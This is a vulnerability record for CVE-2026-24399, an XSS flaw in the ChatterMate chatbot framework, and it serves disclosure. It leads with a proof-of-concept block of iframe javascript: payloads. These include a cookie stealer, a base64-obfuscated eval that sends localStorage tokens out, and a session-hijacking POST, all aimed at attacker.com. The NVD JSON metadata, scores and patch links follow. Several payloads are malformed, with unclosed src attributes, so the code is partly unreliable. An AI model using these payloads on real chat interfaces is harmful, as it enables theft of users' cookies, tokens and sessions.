CVE-2026-24399

<!-- CVE-2026-24399 PoC - ChatterMate XSS via iframe with javascript: URI --> <!-- Basic XSS PoC --> <iframe src="javascript:alert('XSS')</iframe> <!-- Cookie Stealing PoC --> <iframe src="javascript:fetch('https://attacker.com/steal?cookie='+encodeURIComponent(document.cookie))</iframe> <!-- localStorage Token Exfiltration PoC --> <iframe src="javascript:eval(atob('dmFyIGRhdGE9bG9jYWxTdG9yYWdlO2Zvcih2YXIga2V5IGluIGRhdGEpe2lmKGRhdGFba2V5XS5pbmRleE9mKCd0b2tlbicpIT09LTEpe2ZldGNoKCdodHRwczovL2F0dGFja2VyLmNvbS9jb2xsZWN0P2tleT0nK2VuY29kZVVSSVBjb21wb25lbnQoa2V5KSsnJnZhbHVlPScrZW5jb2RlVVJJQ29tcG9uZW50KGRhdGFba2V5XSkpfX0='))></iframe> <!-- Session Hijacking PoC --> <iframe src="javascript:var xhr=new XMLHttpRequest();xhr.open('POST','https://attacker.com/capture',true);xhr.send(JSON.stringify({cookies:document.cookie,storage:localStorage,url:location.href}));"></iframe>

{"cve": {"id": "CVE-2026-24399", "sourceIdentifier": "[email protected]", "published": "2026-01-24T01:15:50.393", "lastModified": "2026-02-12T16:05:57.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChatterMate is a no-code AI chatbot agent framework. In versions 1.0.8 and below, the chatbot accepts and executes malicious HTML/JavaScript payloads when supplied as chat input. Specifically, an <iframe> payload containing a javascript: URI can be processed and executed in the browser context. This allows access to sensitive client-side data such as localStorage tokens and cookies, resulting in client-side injection. This issue has been fixed in version 1.0.9."}, {"lang": "es", "value": "ChatterMate es un framework de agente de chatbot de IA sin código. En las versiones 1.0.8 e inferiores, el chatbot acepta y ejecuta cargas útiles maliciosas de HTML/JavaScript cuando se proporcionan como entrada de chat. Específicamente, una carga útil de que contiene una URI de javascript: puede ser procesada y ejecutada en el contexto del navegador. Esto permite el acceso a datos sensibles del lado del cliente, como tokens de localStorage y cookies, lo que resulta en una inyección del lado del cliente. Este problema ha sido solucionado en la versión 1.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chattermate:chattermate:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.9", "matchCriteriaId": "0A56F451-616D-4BCC-8D6D-BFC3D82FB697"}]}]}], "references": [{"url": "https://github.com/chattermate/chattermate.chat/commit/ff3398031abb97ae28546eaf993fed3619eaffdd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/chattermate/chattermate.chat/releases/tag/v1.0.9", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/chattermate/chattermate.chat/security/advisories/GHSA-72p3-w95w-q3j4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}